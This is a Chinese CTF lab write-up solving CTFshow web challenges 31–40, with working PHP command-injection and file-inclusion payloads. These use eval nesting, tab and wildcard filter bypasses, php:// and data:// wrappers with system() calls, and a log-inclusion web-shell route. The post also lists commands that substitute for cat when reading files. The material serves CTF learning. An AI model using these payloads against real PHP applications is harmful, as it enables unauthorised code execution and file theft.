@


ctf - web入门

web31

题解

过滤了空格、点、单引号和cat



方法一

经典逃逸

url + ?c=eval($_GET[1]);&1=system('tac flag.php');



方法二

空格的绕过可以使用 %09 (tab)

使用通配符来匹配文件

url + ?c=echo%09`tac%09fl*`;



方法三

利用无参数函数:

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));



等多种方法

cat 被过滤的解决方案:

more:一页一页的显示档案内容

less:与 more 类似

head:查看头几行

tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示

tail:查看尾几行

nl:显示的时候,顺便输出行号

od:以二进制的方式读取档案内容

vi:一种编辑器,这个也可以查看

vim:一种编辑器,这个也可以查看

sort:可以查看

uniq:可以查看

file -f:报错出具体内容

原理

这里依旧可以用到 web29 的方法:

  • 嵌套 eval 逃逸参数

当然,能多学一点自然是要多学一点。要像韩跑跑一样多留后手(不是

  • url 编码
  • Linux:通配符、其他命令

web32

题解

源码过滤了分号,echo,反引号,单引号,括号,分号。但没有过滤双引号。



方法一

嵌套include文件包含,利用伪协议文件包含。

过滤了分号,那么可以直接 ?> 闭合php( ?> 闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的。除此以外,php代码最后一句可以不用加分号)

url + ?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

得到base64编码过后的源码。

原理大概就是,这里传了两个参数,
第一个参数c的内容是 include$_GET["a"]?>,
第二个参数a,不受后边匹配条件的影响。
即后面的php协议不会受到正则的约束
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。
这里,也可以用$_POST,那么后续传参就通过post传参。

方法二

与方法一大同小异

url + ?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php

原理

  • PHP:伪协议、文件包含、php代码的闭合。

web33

依旧是 PHP:伪协议、文件包含。

题解

在上一题的基础上过滤了双引号。



方法一

既然过滤了双引号,那就直接加变量名。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web34

还是 PHP:伪协议、文件包含。

题解

相比上题过滤了个冒号。不过并没有影响。继续用上一题的payload。

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

得到flag

web35

PHP:伪协议、文件包含。

题解

相比上题过滤了 < 和 = 。不过还是没有影响。



继续沿用上一题payload

url + ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

不要被迷惑了,第一个等号是用来传参的

得手

web36

  • PHP:伪协议、文件包含

题解

过滤了0-9的数字和反斜杠

(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)



但还是无法阻止我们闭合php,把数组的键改为英文就可以了,比如a。

url + ?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

题解

本题直接提供了一个include函数



方法一

data伪协议配合通配符绕过

url + ?c=data://text/plain,<?php system('cat fl*')?>



方法二

利用base64编解码

先对 <?php system("cat flag.php");?> 进行base64编码



再利用伪协议传输

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

原理

  • PHP:伪协议(data://)、文件包含
$c = 'data://text/plain,<?php echo hello?>';
include($c); //php中,以上代码相当于包含了 <?php echo hello?>

web38

题解



解法一

可以继续沿用上一题的payload。

url + ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==



解法二

php代码这里可以使用php短标签进行绕过,flag.php 可继续用通配符 ? 绕过

url + ?c=data://text/plain,<?=system('tac fla?.???')?>

解法三

nginx 的日志文件 /var/log/nginx/access.log

题目提示可以通过包含日志文件拿 shell。

这个方法试了几次,虽然蚁剑连上了,但查看不了文件。

先这样吧,之后再来试一试

原理

  • PHP:伪协议(data://)、文件包含、短标签

web39

  • PHP:伪协议(data://)、文件包含

题解

会在后面拼接一个 .php,但是过滤了flag



解法一

闭合 include函数,让拼接不执行

url + ?c=data://text/plain,<?php system('cat fl*')?>)?><?php



解法二

其实不用做其他处理,直接用通配符代替传参即可

url + ?c=data://text/plain,<?php system('cat fl*')?>



因为.php 前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上。

data://text/plain ,这样就相当于执行了php语句。.php 因为前面的php语句已经闭合了,所以后面的 .php 会被当成html页面直接显示在页面上,起不到什么作用

web40

题解

过滤了很多东西,但是下面是eval,可以直接函数执行



而且,仔细看,其中的括号过滤是中文全角的括号,而非半角的英文括号

if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

所以还是可以使用括号。

解法一

使用无参数函数。

url + ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));



解法二

题中还给了另一个解法,使用session:输入 ?c=session_start();system(session_id());

这个解法也先放一放,之后再来试试。

原理

  • 无参数函数

酒一杯,泪双垂。君到长安百事违。几时归。

——《柳枝》(宋)朱敦儒

《CTFshow-Web入门》04. Web 31~40的更多相关文章

  1. 8、web入门回顾/ Http

    1 web入门回顾 web入门 1)web服务软件作用: 把本地资源共享给外部访问 2)tomcat服务器基本操作      : 启动:  %tomcat%/bin/startup.bat 关闭: % ...

  2. Web入门

    目录 Web入门 学习web路线 前端基础 三剑客的作用 BS架构 数据格式 HTTP协议 四大特性 数据格式 HTTP 状态码分类 状态码列表 案例:简易的BS架构 Web入门 什么是前端? 任何与 ...

  3. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  4. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  5. ctfshow的web入门171

    web入门171 看到这个查询语句,我们可以进行相关操作 $sql = "select username,password from user where username !='flag' ...

  6. Java web 入门知识 及HTTP协议详解

     Java  web  入门知识 及HTTP协议详解 WEB入门 WEB,在英语中web即表示网页的意思,它用于表示Internet主机上供外界访问的资源. Internet上供外界访问的Web资 ...

  7. python web入门程序

    python2.x web入门程序 #!/usr/bin/python # -*- coding: UTF-8 -*- # 只在python2.x 有效 import os #Python的标准库中的 ...

  8. Spring Boot 入门之 Web 篇(二)

    原文地址:Spring Boot 入门之 Web 篇(二) 博客地址:http://www.extlight.com 一.前言 上一篇<Spring Boot 入门之基础篇(一)>介绍了 ...

  9. Python web前端 04 盒子模型

    Python web前端 04 盒子模型 盒子模型是由内容(content).内边距(padding).外边距(margin).边框(border)组成的 一.边框 border #border 边框 ...

  10. Java Web入门经典扫描版

    全书共分4篇19章,其中,第一篇为“起步篇”,主要包括开启JavaWeb之门.不可不知的客户端应用技术.驾驭JavaWeb开发环境.JavaWeb开发必修课之JSP语法等内容:第二篇为“核心篇”,主要 ...

随机推荐

  1. UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list

    错误: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_l ...

  2. SignalR WebSocket通讯机制

    1.什么是SignalR ASP.NET SignalR 是一个面向 ASP.NET 开发人员的库,可简化向应用程序添加实时 Web 功能的过程. 实时 Web 功能是让服务器代码在可用时立即将内容推 ...

  3. 【重学C++】05 | 说透右值引用、移动语义、完美转发(下)

    文章首发 [重学C++]05 | 说透右值引用.移动语义.完美转发(下) 引言 大家好,我是只讲技术干货的会玩code,今天是[重学C++]的第五讲,在第四讲<[重学C++]04 | 说透右值引 ...

  4. 可以,很强,68行代码实现Bean的异步初始化,粘过去就能用。

    你好呀,我是歪歪. 前两天在看 SOFABoot 的时候,看到一个让我眼前一亮的东西,来给大家盘一下. SOFABoot,你可能不眼熟,但是没关系,本文也不是给你讲这个东西的,你就认为它是 Sprin ...

  5. WPF中控件转命令

    WPF不是所有控件都有Command属性,如果窗体需要在ViewModel 使用System.Windows.Interactivity事件 在nuget浏览搜索 下载System.Windows.I ...

  6. .Net8罕见的技术:MSIL的机器码简析

    前言 一般的只有最终的汇编代码才有机器码表示,然一个偶然的机会发现,MSIL(Microsoft intermediate language)作为一个中间语言表示,居然也有机器码,其实这也难怪,计算机 ...

  7. 关于Abp Vnext 权限授权的问题

    一.问题 最近收到一位朋友的求助,说他项目上的权限授权出现了问题,现象是在基础服务授权角色:RC 权限:X.Default,在基础服务使用RC角色的用户登录能访问到权限X.Default资源,而在X服 ...

  8. 自然语言处理 Paddle NLP - 信息抽取技术及应用

    1.什么是信息抽取 即自动从无结构或半结构的文本中抽取出结构化信息的任务(病历抽取) 2.实体抽取 3.关系抽取 4.事件抽取 信息抽取和知识图谱是一个上下游的关系.抽取的结果,可以组装成知识图谱(一 ...

  9. 重新初始化k8s集群

    执行如下命令,所有节点都执行 kubeadm reset 初始化集群,仅在master(centos01)上执行 [root@centos01 opt]# kubeadm init --apiserv ...

  10. JMH – Java基准测试

    官方资源 官方Github样例 应用场景 对要使用的数据结构不确定,不知道谁的性能更好 对历史方法代码重构,要评判改造之后的性能提升多少 (我要做的场景) 想准确地知道某个方法需要执行多长时间,以及执 ...